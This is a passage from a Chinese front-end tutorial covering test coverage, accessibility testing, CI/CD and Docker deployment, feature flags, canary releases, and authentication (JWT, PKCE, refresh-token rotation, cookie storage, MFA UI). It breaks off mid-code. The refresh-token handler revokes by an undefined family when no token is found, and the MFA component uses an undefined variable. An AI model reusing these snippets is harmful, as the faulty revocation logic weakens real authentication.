        '**/*.d.ts',
        '**/*.config.*',
        '**/index.ts'           // 纯导出文件
      ]
    }
  }
})

# package.json — 添加脚本
{
  "scripts": {
    "test": "vitest",
    "test:run": "vitest run",
    "test:coverage": "vitest run --coverage"
  }
}

# 运行后会生成 coverage/ 目录
# pnpm test:coverage
# open coverage/index.html  # 查看可视化报告
# CI 中检查覆盖率(GitHub Actions)
# .github/workflows/ci.yml
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: pnpm/action-setup@v4
      - run: pnpm install --frozen-lockfile
      - run: pnpm test:coverage

      # 上传覆盖率报告
      - uses: codecov/codecov-action@v4
        with:
          files: ./coverage/lcov.info
          fail_ci_if_error: true

# 覆盖率报告示例输出:
# % Coverage report from v8
# -------------------|---------|----------|---------|---------
# File               | % Stmts | % Branch | % Funcs | % Lines
# -------------------|---------|----------|---------|---------
# All files          |   85.21 |    78.45 |   82.33 |   85.21
#  src/components    |   90.12 |    82.50 |   88.00 |   90.12
#  src/hooks         |   95.00 |    85.00 |   92.00 |   95.00
#  src/utils         |   78.33 |    70.00 |   75.00 |   78.33
# -------------------|---------|----------|---------|---------
覆盖率陷阱

高覆盖率 ≠ 高质量。100% 行覆盖不代表所有分支都测到了。重点看分支覆盖率(Branch Coverage)——它能发现 if/else 没测到的路径。另外,不要为了凑覆盖率而写无意义的测试,那样只增加维护成本。

无障碍测试(jest-axe)

# 安装
pnpm add -D jest-axe @types/jest-axe

# 基本用法:自动检测无障碍违规
import { render } from '@testing-library/react'
import { axe, toHaveNoViolations } from 'jest-axe'

expect.extend(toHaveNoViolations)

describe('Button 无障碍', () => {
  it('应该没有无障碍违规', async () => {
    const { container } = render(<Button>点击我</Button>)
    const results = await axe(container)
    expect(results).toHaveNoViolations()
  })

  it('图片必须有 alt 文本', async () => {
    const { container } = render(
      <img src="/logo.png" alt="公司 Logo" />
    )
    expect(await axe(container)).toHaveNoViolations()
  })

  it('没有 alt 的图片应报错', async () => {
    const { container } = render(<img src="/logo.png" />)
    const results = await axe(container)
    expect(results.violations).toHaveLength(1)
    expect(results.violations[0].id).toBe('image-alt')
  })
})

describe('表单无障碍', () => {
  it('输入框必须关联 label', async () => {
    const { container } = render(
      <form>
        <label htmlFor="email">邮箱</label>
        <input id="email" type="email" />
      </form>
    )
    expect(await axe(container)).toHaveNoViolations()
  })

  it('颜色对比度符合 WCAG 标准', async () => {
    const { container } = render(
      // 浅灰色文字在白色背景上——对比度不足
      <p style={{ color: '#ccc', background: '#fff' }}>难以阅读</p>
    )
    const results = await axe(container)
    // 会检测到 color-contrast 违规
    expect(results.violations.some(v => v.id === 'color-contrast')).toBe(true)
  })
})

# 常见无障碍违规清单
# image-alt        — <img> 缺少 alt
# label            — 输入框没有关联 <label>
# color-contrast   — 文字与背景对比度不足
# heading-order    — 标题层级跳跃(如 h1 → h3)
# link-name        — 链接没有可读文本
# button-name      — 按钮没有可读文本
# aria-roles       — ARIA 角色使用错误
# 自定义规则:检查特定组件
import { configureAxe } from 'jest-axe'

const customAxe = configureAxe({
  rules: {
    // 禁用某条规则
    'color-contrast': { enabled: false },
    // 设置严格模式
    'region': { enabled: true }
  }
})

test('自定义检查', async () => {
  const { container } = render(<MyComponent />)
  const results = await customAxe(container)
  expect(results).toHaveNoViolations()
})

# 在 Playwright E2E 中做无障碍测试
import { test, expect } from '@playwright/test'
import AxeBuilder from '@axe-core/playwright'

test('首页无障碍检查', async ({ page }) => {
  await page.goto('/')
  const results = await new AxeBuilder({ page })
    .withTags(['wcag2a', 'wcag2aa'])  // 检查 WCAG 2.1 AA 标准
    .analyze()
  expect(results.violations).toEqual([])
})
无障碍测试最佳实践

1)在 CI 中集成 jest-axe,每次提交自动检查;2)用 Playwright + @axe-core/playwright 做 E2E 无障碍扫描;3)键盘导航测试:Tab 键应能遍历所有交互元素,Enter/Space 能触发按钮;4)屏幕阅读器测试:定期用 NVDA(Windows)或 VoiceOver(Mac)手动验证。无障碍不是可选项——很多国家有法律要求,且影响 SEO 排名。

40. CI/CD 与发布

GitHub Actions 自动化

# .github/workflows/ci.yml
name: CI

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: pnpm/action-setup@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: 'pnpm'

      - run: pnpm install --frozen-lockfile
      - run: pnpm lint
      - run: pnpm test
      - run: pnpm build

  deploy:
    needs: test
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: pnpm install --frozen-lockfile
      - run: pnpm build
      - uses: peaceiris/actions-gh-pages@v4
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
          publish_dir: ./dist

部署方案

平台特点适合
VercelNext.js 官方、自动部署、全球 CDNNext.js 项目首选
Netlify自动部署、表单处理、Functions静态站点、SPA
Cloudflare Pages全球 CDN、Workers、免费额度大追求极致性能
阿里云 OSS国内访问快、配合 CDN国内项目
Docker + Nginx完全可控、适合私有部署企业内网部署

Docker 详解:前端容器化

# 多阶段构建(Multi-stage Build)—— 生产级前端 Dockerfile
# 阶段 1:构建
FROM node:20-alpine AS builder
WORKDIR /app
COPY package.json pnpm-lock.yaml ./
RUN npm install -g pnpm && pnpm install --frozen-lockfile
COPY . .
ARG VITE_API_URL
ENV VITE_API_URL=$VITE_API_URL
RUN pnpm build

# 阶段 2:运行(只拷贝构建产物,镜像体积小)
FROM nginx:1.27-alpine
# 复制自定义 nginx 配置
COPY nginx.conf /etc/nginx/conf.d/default.conf
# 复制构建产物到 nginx 默认站点目录
COPY --from=builder /app/dist /usr/share/nginx/html
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]
# nginx.conf —— 前端 SPA 专用配置
server {
    listen 80;
    server_name _;
    root /usr/share/nginx/html;
    index index.html;

    # 开启 gzip 压缩
    gzip on;
    gzip_types text/plain text/css application/json application/javascript text/xml;
    gzip_min_length 1024;

    # 静态资源长期缓存(构建时文件名带 hash)
    location /assets/ {
        expires 1y;
        add_header Cache-Control "public, immutable";
    }

    # SPA 路由兜底:所有非文件请求都返回 index.html
    location / {
        try_files $uri $uri/ /index.html;
    }

    # 反向代理 API 请求(避免跨域)
    location /api/ {
        proxy_pass http://backend:3000/;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}
# docker-compose.yml —— 一键启动前后端
version: '3.8'
services:
  frontend:
    build:
      context: ./frontend
      args:
        VITE_API_URL: /api
    ports:
      - "80:80"
    depends_on:
      - backend

  backend:
    build: ./backend
    ports:
      - "3000:3000"
    environment:
      - DATABASE_URL=postgres://db:5432/app
多阶段构建的好处

最终镜像只包含 nginx + 静态文件(约 25MB),不包含 node_modules 和源码(可能几百 MB)。构建依赖留在 builder 阶段,运行时镜像极小,部署快、安全性高。

部署平台详解

# === Vercel CLI 部署 ===
# 安装
npm i -g vercel
# 首次部署(交互式配置)
vercel
# 生产部署
vercel --prod

# vercel.json 配置
{
  "buildCommand": "pnpm build",
  "outputDirectory": "dist",
  "framework": "vite",
  "rewrites": [
    { "source": "/api/(.*)", "destination": "https://api.example.com/$1" },
    { "source": "/(.*)", "destination": "/index.html" }
  ],
  "headers": [
    {
      "source": "/assets/(.*)",
      "headers": [{ "key": "Cache-Control", "value": "public, max-age=31536000, immutable" }]
    }
  ]
}
# === Netlify 配置 ===
# netlify.toml(放在项目根目录)
[build]
  command = "pnpm build"
  publish = "dist"

[[redirects]]
  from = "/api/*"
  to = "https://api.example.com/:splat"
  status = 200

[[redirects]]
  from = "/*"
  to = "/index.html"
  status = 200

# Netlify Functions(无服务器函数)
# netlify/functions/hello.ts
export default async (req, context) => {
  return new Response(JSON.stringify({ message: "Hello!" }), {
    headers: { "Content-Type": "application/json" }
  })
}
# === Cloudflare Pages + Wrangler ===
# 安装 Wrangler CLI
npm install -g wrangler
# 登录
wrangler login
# 部署到 Cloudflare Pages
wrangler pages deploy dist --project-name=my-app

# wrangler.toml 配置
name = "my-app"
compatibility_date = "2024-01-01"

[site]
bucket = "./dist"

# Cloudflare Workers(边缘计算函数)
# src/worker.ts
export default {
  async fetch(request) {
    const url = new URL(request.url)
    if (url.pathname === "/api/hello") {
      return new Response(JSON.stringify({ edge: true }), {
        headers: { "Content-Type": "application/json" }
      })
    }
    // 静态资源由 Pages 自动处理
  }
}
平台选择建议

Next.js 项目首选 Vercel(深度集成 SSR/ISR);纯静态站点或 SPA 选 Netlify(上手简单、表单/Identity 内置);追求全球边缘性能选 Cloudflare Pages(Workers 运行在 300+ 节点);国内项目考虑阿里云 OSS + CDN(备案后速度最快)。

环境差异化构建

# 不同环境使用不同的环境变量文件
# .env                # 所有环境共享
VITE_APP_TITLE=My App

# .env.development    # 本地开发
VITE_API_URL=http://localhost:3000
VITE_MOCK_ENABLED=true

# .env.staging        # 测试环境
VITE_API_URL=https://staging-api.example.com
VITE_MOCK_ENABLED=false

# .env.production     # 生产环境
VITE_API_URL=https://api.example.com
VITE_MOCK_ENABLED=false

# 构建时指定模式
# pnpm build                  → 默认 production
# pnpm build --mode staging   → 使用 .env.staging

# 代码中使用
const apiUrl = import.meta.env.VITE_API_URL
const isMock = import.meta.env.VITE_MOCK_ENABLED === 'true'

# CI/CD 中通过环境变量覆盖(优先级最高)
# GitHub Actions
- run: pnpm build
  env:
    VITE_API_URL: ${{ secrets.API_URL }}
# Docker 构建不同环境镜像
# 开发环境
docker build --build-arg VITE_API_URL=http://localhost:3000 -t myapp:dev .
# 测试环境
docker build --build-arg VITE_API_URL=https://staging-api.example.com -t myapp:staging .
# 生产环境
docker build --build-arg VITE_API_URL=https://api.example.com -t myapp:prod .

# GitHub Actions 多环境部署
jobs:
  deploy:
    strategy:
      matrix:
        include:
          - env: staging
            url: https://staging.example.com
          - env: production
            url: https://example.com
    steps:
      - run: pnpm build --mode ${{ matrix.env }}
      - run: vercel deploy --prod --token=${{ secrets.VERCEL_TOKEN }}

特性标志(Feature Flags)

// Feature Flags:在不发版的情况下控制功能的开关
// 常用工具:LaunchDarkly、Flagsmith(开源)、自建简易方案

// 1. 简易 Feature Flag 配置
const featureFlags = {
  newDashboard: {
    enabled: true,
    // 灰度:只对部分用户开启
    rolloutPercentage: 30,
    // 白名单:特定用户强制开启
    allowedUsers: ['user-001', 'user-002']
  },
  darkModeV2: {
    enabled: false  // 未完成,先关闭
  }
}

// 2. 判断是否启用
function isEnabled(flagName, userId) {
  const flag = featureFlags[flagName]
  if (!flag || !flag.enabled) return false
  if (flag.allowedUsers?.includes(userId)) return true
  if (flag.rolloutPercentage) {
    // 基于用户 ID 的哈希值决定,保证同一用户始终命中同一组
    const hash = hashCode(userId + flagName)
    return (hash % 100) < flag.rolloutPercentage
  }
  return true
}

// 3. React 组件中使用
function FeatureGate({ flag, children, fallback = null }) {
  const userId = useAuthStore(s => s.user?.id)
  return isEnabled(flag, userId) ? children : fallback
}

// 使用
<FeatureGate flag="newDashboard" fallback={<OldDashboard />}>
  <NewDashboard />
</FeatureGate>
// 后端 API 驱动的 Feature Flags(推荐生产使用)
// 从服务端拉取 flag 配置,支持动态更新,无需发版

// useFeatureFlags.ts
import { useQuery } from '@tanstack/react-query'

export function useFeatureFlags() {
  return useQuery({
    queryKey: ['featureFlags'],
    queryFn: () => fetch('/api/flags').then(r => r.json()),
    staleTime: 5 * 60 * 1000,  // 5 分钟缓存
    refetchOnWindowFocus: true
  })
}

// 在应用入口获取全局 flag
function App() {
  const { data: flags } = useFeatureFlags()

  if (!flags) return <Loading />

  return (
    <FlagContext.Provider value={flags}>
      <Router />
    </FlagContext.Provider>
  )
}
Feature Flags 的价值

1)渐进发布:先对 5% 用户开放新功能,观察无异常再逐步放量;2)快速回滚:线上出问题,关掉 flag 即可秒级回退,不需要重新部署;3)A/B 测试:给不同用户展示不同版本,用数据驱动决策;4)主干开发:未完成的功能用 flag 关闭,代码可以直接合并到主分支。

金丝雀发布与回滚策略

# 金丝雀发布(Canary Release):新版本先发布到少量服务器/用户,验证无问题后再全量发布

# GitHub Actions 金丝雀部署示例
jobs:
  # 阶段 1:部署到 Canary(5% 流量)
  canary:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: pnpm install && pnpm build
      - name: Deploy to Canary
        run: |
          vercel deploy --prod --scope=canary
          echo "Canary URL: https://canary.example.com"

      - name: 等待并检查健康状态
        run: |
          sleep 60
          curl -sf https://canary.example.com/health || exit 1

      - name: 检查错误率
        run: |
          ERROR_RATE=$(curl -s https://monitoring.example.com/api/error-rate?env=canary)
          if [ "$(echo "$ERROR_RATE > 1.0" | bc)" -eq 1 ]; then
            echo "Error rate too high: $ERROR_RATE%"
            exit 1
          fi

  # 阶段 2:全量发布(canary 通过后)
  full-deploy:
    needs: canary
    runs-on: ubuntu-latest
    steps:
      - run: vercel deploy --prod
      - name: 全量发布完成
        run: echo "Full deployment complete"
# 回滚策略

# 方案 1:Git 版本回滚(最简单)
# 回滚到上一个版本
git revert HEAD
git push origin main
# GitHub Actions 自动重新部署上一个版本

# 方案 2:Vercel 一键回滚
# Vercel Dashboard → Deployments → 找到上一个正常的部署 → Promote to Production
# 或用 CLI:
vercel rollback

# 方案 3:Docker 镜像版本回滚
# 部署时始终保留前 3 个版本的镜像
docker pull myapp:v1.2.0  # 回滚到指定版本
docker stop myapp && docker run -d --name myapp myapp:v1.2.0

# 方案 4:Nginx 蓝绿部署
# nginx.conf 中快速切换 upstream
upstream frontend {
    server blue:80;    # 当前使用蓝色环境
    # server green:80; # 切换到绿色环境只需改这一行
}
# reload 即可秒级切换
nginx -s reload
# 蓝绿部署 vs 滚动更新 vs 金丝雀

# 蓝绿部署(Blue-Green)
# 两套完全相同的环境,切换流量瞬间完成
# 优点:回滚极快(切回旧环境)
# 缺点:资源成本翻倍

# 滚动更新(Rolling Update)
# 逐步替换旧实例,每次替换一个
# kubectl set image deployment/app app=myapp:v2.0
# 优点:不需要额外资源
# 缺点:回滚慢,新旧版本短暂共存

# 金丝雀发布(Canary)
# 新版本先只服务少量请求,逐步扩大
# Istio 流量分配示例:
apiVersion: networking.istio.io/v1beta1
kind: VirtualService
spec:
  http:
    - route:
        - destination:
            host: app
            subset: v1
          weight: 90        # 90% 流量到旧版本
        - destination:
            host: app
            subset: v2
          weight: 10        # 10% 流量到新版本

# 阶段放量:10% → 30% → 50% → 100%
# 每个阶段观察 15-30 分钟,监控错误率、延迟、用户反馈
发布策略选择指南

1)个人项目/小团队:直接部署 + Git 回滚,简单够用;2)中型项目:蓝绿部署,准备两套环境,切换快速;3)大型项目/高可用要求:金丝雀发布,逐步放量,配合监控自动回滚;4)关键原则:每次发布都要可回滚,回滚时间控制在分钟级别,永远不要在周五下午发布。

第六部分 · 前端核心能力

41. 认证与鉴权前端实现

前端认证的核心问题:怎么证明"我是谁"。常见方案有 Cookie/Session 和 JWT Token。

一个类比

Cookie/Session 就像游乐园的手环——你买票后戴上手环(Session),之后每个项目门口工作人员看一眼手环就放行。JWT 就像身份证——你带上身份证(Token),任何人看到身份证都能确认你的身份,不需要打电话给公安局(服务器)验证。

JWT 认证流程

1
登录——用户输入账号密码,发送到后端。
2
获取 Token——后端验证通过后,返回一个 JWT Token(一串加密字符串)。
3
存储 Token——前端把 Token 存到 localStorage 或 Cookie 中。
4
携带 Token——每次请求时,在 Header 中携带 Authorization: Bearer <token>。
5
Token 过期——Token 有有效期(如 2 小时)。过期后用 Refresh Token 换新 Token。
// 封装认证状态管理(Zustand)
import { create } from 'zustand'

const useAuthStore = create((set) => ({
  token: localStorage.getItem('token'),
  user: null,

  login: async (username, password) => {
    const res = await fetch('/api/login', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ username, password })
    })
    const { token, user } = await res.json()
    localStorage.setItem('token', token)
    set({ token, user })
  },

  logout: () => {
    localStorage.removeItem('token')
    set({ token: null, user: null })
  },

  // Token 刷新
  refreshToken: async () => {
    const res = await fetch('/api/refresh', {
      headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
    })
    const { token } = await res.json()
    localStorage.setItem('token', token)
    set({ token })
  }
}))

// Axios 拦截器自动携带 Token
api.interceptors.request.use(config => {
  const token = localStorage.getItem('token')
  if (token) config.headers.Authorization = `Bearer ${token}`
  return config
})

// 响应拦截器处理 401
api.interceptors.response.use(
  response => response,
  async error => {
    if (error.response?.status === 401) {
      // 尝试刷新 Token
      try {
        await useAuthStore.getState().refreshToken()
        return api(error.config)  // 重试原请求
      } catch {
        useAuthStore.getState().logout()
        window.location.href = '/login'
      }
    }
    return Promise.reject(error)
  }
)

JWT 结构深入(header.payload.signature)

// JWT 由三部分组成,用 . 分隔
// eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOjF9.SflKxwRJSMeKKF2QT4fwpM
// |<--- Header --->| |<--- Payload --->| |<-- Signature -->|

// 1. Header(头部)—— 声明算法和类型
// Base64 解码后:
{
  "alg": "HS256",   // 签名算法:HS256(对称)、RS256(非对称)
  "typ": "JWT"
}

// 2. Payload(载荷)—— 存放业务数据(不要放敏感信息!)
// Base64 解码后:
{
  "sub": "1234567890",   // 用户 ID(subject)
  "name": "张三",
  "role": "admin",
  "iat": 1719500000,     // 签发时间(issued at)
  "exp": 1719507200      // 过期时间(expiration)
}
// 注意:Payload 只是 Base64 编码,不是加密!任何人拿到 Token 都能解码看到内容

// 3. Signature(签名)—— 防止篡改
// 签名 = HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
// 只有服务器知道 secret,所以客户端无法伪造签名

// 手动解码 JWT(不用第三方库)
function decodeJWT(token) {
  const [header, payload, signature] = token.split('.')
  return {
    header: JSON.parse(atob(header.replace(/-/g, '+').replace(/_/g, '/'))),
    payload: JSON.parse(atob(payload.replace(/-/g, '+').replace(/_/g, '/'))),
    signature
  }
}

// 检查 Token 是否过期
function isTokenExpired(token) {
  const { payload } = decodeJWT(token)
  return Date.now() >= payload.exp * 1000
}

// 常见 JWT 库:jose(推荐,支持 JOSE 全套标准)
import { SignJWT, jwtVerify } from 'jose'

// 签发
const token = await new SignJWT({ userId: 1, role: 'admin' })
  .setProtectedHeader({ alg: 'HS256' })
  .setIssuedAt()
  .setExpirationTime('2h')
  .setIssuer('https://myapp.com')
  .sign(new TextEncoder().encode(secret))

// 验证
const { payload } = await jwtVerify(token, new TextEncoder().encode(secret))
JWT 安全要点

1)永远在后端验证签名,前端解码只用于读取过期时间和展示信息;2)Payload 是明文 Base64,绝对不要放密码、手机号等敏感数据;3)Token 过期时间建议 Access Token 15~30 分钟,Refresh Token 7~30 天;4)使用 RS256(非对称)可以让资源服务器只持有公钥,更安全;5)在 jti 字段放入唯一 ID,后端可用于黑名单撤销。

OAuth2 PKCE 流程(SPA 关键)

// 传统授权码流程的问题:SPA 没有后端,无法安全保存 client_secret
// PKCE(Proof Key for Code Exchange)解决了这个问题

// PKCE 流程(适合 SPA / 移动端 / 任何公开客户端)
//
// 1. 前端生成 code_verifier(随机字符串)和 code_challenge(SHA256 哈希)
// 2. 前端把 code_challenge 发给授权服务器
// 3. 用户登录授权后,授权服务器返回 authorization_code
// 4. 前端用 code + code_verifier 换取 access_token
// 5. 授权服务器验证 code_verifier 和之前收到的 code_challenge 是否匹配
//
// 安全性:即使中间人截获了 authorization_code,没有 code_verifier 也无法换取 Token

// 前端实现 PKCE
async function startPKCELogin() {
  // 1. 生成 code_verifier(43~128 位随机字符串)
  const array = new Uint8Array(32)
  crypto.getRandomValues(array)
  const codeVerifier = btoa(String.fromCharCode(...array))
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '')

  // 2. 生成 code_challenge(SHA256 哈希后 Base64URL 编码)
  const encoder = new TextEncoder()
  const data = encoder.encode(codeVerifier)
  const digest = await crypto.subtle.digest('SHA-256', data)
  const codeChallenge = btoa(String.fromCharCode(...new Uint8Array(digest)))
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '')

  // 3. 存储 code_verifier(后续换 Token 时需要用到)
  sessionStorage.setItem('pkce_code_verifier', codeVerifier)

  // 4. 跳转到授权页面
  const params = new URLSearchParams({
    response_type: 'code',
    client_id: 'your-client-id',
    redirect_uri: 'https://yourapp.com/callback',
    scope: 'openid profile email',
    code_challenge: codeChallenge,
    code_challenge_method: 'S256',
    state: crypto.randomUUID()   // 防 CSRF
  })
  window.location.href = `https://auth-server.com/authorize?${params}`
}

// 回调页面(/callback)
async function handleCallback() {
  const params = new URLSearchParams(window.location.search)
  const code = params.get('code')
  const state = params.get('state')

  // 验证 state(防 CSRF)
  // ...

  // 5. 用 code + code_verifier 换 Token
  const codeVerifier = sessionStorage.getItem('pkce_code_verifier')
  sessionStorage.removeItem('pkce_code_verifier')

  const res = await fetch('https://auth-server.com/token', {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: new URLSearchParams({
      grant_type: 'authorization_code',
      code,
      redirect_uri: 'https://yourapp.com/callback',
      client_id: 'your-client-id',
      code_verifier: codeVerifier   // 关键:证明发起请求的就是同一个客户端
    })
  })

  const { access_token, refresh_token } = await res.json()
  // 存储 Token ...
}

// 成熟方案:直接用 oidc-client-ts 库(支持 PKCE 开箱即用)
import { UserManager } from 'oidc-client-ts'

const userManager = new UserManager({
  authority: 'https://auth-server.com',
  client_id: 'your-client-id',
  redirect_uri: 'https://yourapp.com/callback',
  response_type: 'code',
  scope: 'openid profile email',
  automaticSilentRenew: true   // 自动续期
})

// 登录
await userManager.signinRedirect()

// 回调
await userManager.signinRedirectCallback()
为什么 SPA 必须用 PKCE

传统的 Authorization Code 流程需要 client_secret,但 SPA 的代码是公开的(用户可以在浏览器中看到),无法安全保存 secret。PKCE 用 code_verifier 替代了 client_secret,每次请求都是动态生成的,即使被截获也无法重用。2026 年,OAuth 2.1 标准已将 PKCE 列为所有授权码流程的必选项。

刷新令牌轮换(Rotation + 重用检测)

// 刷新令牌轮换:每次用 Refresh Token 换新 Token 时,旧 Refresh Token 立即失效
// 如果有人偷了你的 Refresh Token,在你之后使用,服务器会检测到重用并撤销整个 Token 家族

// 后端实现示意(Node.js + Express)
app.post('/api/refresh', async (req, res) => {
  const { refreshToken } = req.body

  // 1. 验证 Refresh Token
  const stored = await db.refreshTokens.findOne({ token: refreshToken })

  if (!stored) {
    // Token 不存在 —— 可能是被盗用后已被撤销
    // 撤销整个 Token 家族(同一用户的所有 Token)
    await db.refreshTokens.deleteMany({ family: stored?.family })
    return res.status(401).json({ error: 'Token 已被撤销,请重新登录' })
  }

  if (stored.used) {
    // 2. 重用检测:这个 Token 已经被用过了 —— 说明被盗了!
    // 撤销整个 Token 家族
    await db.refreshTokens.deleteMany({ family: stored.family })
    return res.status(401).json({ error: '检测到 Token 重用,已撤销所有会话' })
  }

  // 3. 标记旧 Token 为已使用
  await db.refreshTokens.updateOne({ token: refreshToken }, { $set: { used: true } })

  // 4. 生成新的 Token 对(同一 family)
  const newAccessToken = signAccessToken(stored.userId)
  const newRefreshToken = generateRefreshToken()

  await db.refreshTokens.insertOne({
    token: newRefreshToken,
    userId: stored.userId,
    family: stored.family,   // 同一个家族
    used: false,
    expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
  })

  res.json({ accessToken: newAccessToken, refreshToken: newRefreshToken })
})

// 前端实现(带回退逻辑)
let isRefreshing = false
let failedQueue = []

async function refreshAccessToken() {
  if (isRefreshing) {
    // 已经有刷新请求在进行中,排队等待
    return new Promise((resolve, reject) => {
      failedQueue.push({ resolve, reject })
    })
  }

  isRefreshing = true

  try {
    const refreshToken = localStorage.getItem('refreshToken')
    const res = await fetch('/api/refresh', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ refreshToken })
    })

    if (!res.ok) throw new Error('Refresh failed')

    const { accessToken, refreshToken: newRefreshToken } = await res.json()

    // 更新存储(新的 Refresh Token 覆盖旧的)
    localStorage.setItem('accessToken', accessToken)
    localStorage.setItem('refreshToken', newRefreshToken)

    // 解锁所有排队的请求
    failedQueue.forEach(({ resolve }) => resolve(accessToken))
    failedQueue = []

    return accessToken
  } catch (error) {
    // 刷新失败 —— 清除所有 Token,跳转登录
    failedQueue.forEach(({ reject }) => reject(error))
    failedQueue = []
    localStorage.clear()
    window.location.href = '/login'
    throw error
  } finally {
    isRefreshing = false
  }
}

// Axios 拦截器集成
api.interceptors.response.use(
  response => response,
  async error => {
    const originalRequest = error.config
    if (error.response?.status === 401 && !originalRequest._retry) {
      originalRequest._retry = true
      const newToken = await refreshAccessToken()
      originalRequest.headers.Authorization = `Bearer ${newToken}`
      return api(originalRequest)
    }
    return Promise.reject(error)
  }
)
Refresh Token 安全策略

1)Refresh Token 必须设过期时间(建议 7~30 天),过期后必须重新登录;2)每次轮换后旧 Refresh Token 立即失效,防止重放攻击;3)检测到重用时撤销整个 Token 家族——这意味着同一攻击者后续的请求也会失败;4)前端应使用请求队列,避免并发请求同时触发多次刷新;5)登出时必须调用后端接口主动撤销 Refresh Token。

httpOnly Cookie vs localStorage 安全对比

// 两种 Token 存储方案的安全性对比

// 方案一:localStorage + Authorization Header
// 前端存储:
localStorage.setItem('accessToken', token)

// 请求时手动携带:
fetch('/api/data', {
  headers: { Authorization: `Bearer ${localStorage.getItem('accessToken')}` }
})

// 方案二:httpOnly Cookie(后端 Set-Cookie)
// 后端设置:
res.cookie('token', accessToken, {
  httpOnly: true,      // JS 无法读取(防 XSS 窃取)
  secure: true,        // 仅 HTTPS 传输
  sameSite: 'Strict',  // 防 CSRF
  maxAge: 15 * 60 * 1000  // 15 分钟
})

// 请求时浏览器自动携带 Cookie(无需手动处理)
fetch('/api/data', { credentials: 'include' })
安全维度localStorage + BearerhttpOnly Cookie
XSS 攻击危险!JS 可直接读取 Token安全!JS 无法访问 httpOnly Cookie
CSRF 攻击不受影响(不自动携带)需要 sameSite + CSRF Token 防护
跨域请求灵活(手动添加 Header)需要 CORS + credentials 配置
存储容量~5-10MB~4KB(单个 Cookie)
移动端兼容完全兼容部分 WebView 有限制
实现复杂度简单中等(需处理 CSRF)
2026 年推荐中小型项目 / 内部系统面向公众的生产系统
// 最佳实践:Access Token 用 httpOnly Cookie,前端只管调接口
// 后端(Express + cookie-parser)
const express = require('express')
const cookieParser = require('cookie-parser')
app.use(cookieParser())

app.post('/api/login', (req, res) => {
  const { username, password } = req.body
  // 验证用户...
  const accessToken = signAccessToken(user.id)
  const refreshToken = signRefreshToken(user.id)

  // Access Token —— httpOnly Cookie,短有效期
  res.cookie('access_token', accessToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'Strict',
    maxAge: 15 * 60 * 1000,     // 15 分钟
    path: '/'
  })

  // Refresh Token —— httpOnly Cookie,长有效期,单独路径
  res.cookie('refresh_token', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'Strict',
    maxAge: 7 * 24 * 60 * 60 * 1000,  // 7 天
    path: '/api/refresh'               // 只在刷新接口发送
  })

  res.json({ user: { id: user.id, name: user.name } })
})

// 前端 —— 无需关心 Token 存储,浏览器自动处理
const res = await fetch('/api/data', { credentials: 'include' })
纵深防御:不要只依赖一种机制

即使使用 httpOnly Cookie,仍然建议:1)部署 CSP(Content Security Policy)头,限制脚本来源,降低 XSS 风险;2)关键操作(修改密码、转账)要求再次输入密码或二次验证;3)设置合理的 CORS 策略,只允许受信任的域名;4)开启 __Host- Cookie 前缀,强制 secure + path=/,防止子域覆盖。

多因素认证(MFA)UI

// 多因素认证:在密码之外增加第二层验证
// 常见因素:TOTP(时间动态码)、短信验证码、Passkey(WebAuthn)

// TOTP(基于时间的一次性密码)设置页面
function TOTPSetup({ onComplete }) {
  const [qrCode, setQrCode] = useState('')
  const [secret, setSecret] = useState('')
  const [code, setCode] = useState('')
  const [step, setStep] = useState('init')  // init | scan | verify

  // 1. 请求后端生成 TOTP 密钥
  const handleStart = async () => {
    const res = await fetch('/api/mfa/totp/setup', { method: 'POST' })
    const { qrCodeUrl, secret } = await res.json()
    setQrCode(qrCodeUrl)     // otpauth://totp/...
    setSecret(secret)         // 明文密钥(备份用)
    setStep('scan')
  }

  // 2. 用户输入 6 位验证码确认
  const handleVerify = async () => {
    const res = await fetch('/api/mfa/totp/verify', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ code })
    })
    if (res.ok) {
      setStep('done')
      onComplete?.()
    }
  }

  return (
    <div className="mfa-setup">
      {step === 'init' && (
        <div>
          <h3>启用二步验证</h3>
          <p>使用 Authenticator App(如 Google Authenticator)扫描二维码</p>
          <button onClick={handleStart}>开始设置</button>
        </div>
      )}

      {step === 'scan' && (
        <div>
          <h3>扫描二维码</h3>
          <img src={qrCode} alt="Scan this QR code" />
          <details>
            <summary>无法扫描?手动输入密钥</summary>
            <code>{secret}</code>
          </details>
          <div className="verify-code">
            <input
              type="text"
              maxLength={6}
              placeholder="输入 6 位验证码"
              value={code}
              onChange={e => setCode(e.target.value.replace(/\D/g, ''))}
              inputMode="numeric"
              pattern="[0-9]*"
              autoFocus
            />
            <button onClick={handleVerify} disabled={code.length !== 6}>
              验证
            </button>
          </div>
        </div>
      )}

      {step === 'done' && (
        <div>
          <h3>✓ 二步验证已启用</h3>
          <p>请保存好以下备用恢复码,丢失手机时可用于恢复账户</p>
          <pre>{recoveryCodes.join('\n')}</pre>
        </div>
      )}
    </div>
  )
}

// 登录时的 MFA 验证页面
function MFALogin({ tempToken, onSuccess }) {
  const [code, setCode] = useState('')
  const [method, setMethod] = useState('totp')  // totp | sms | passkey

  const handleVerify = async () => {
    const res = await fetch('/api/mfa/verify', {
      method: 'POST',
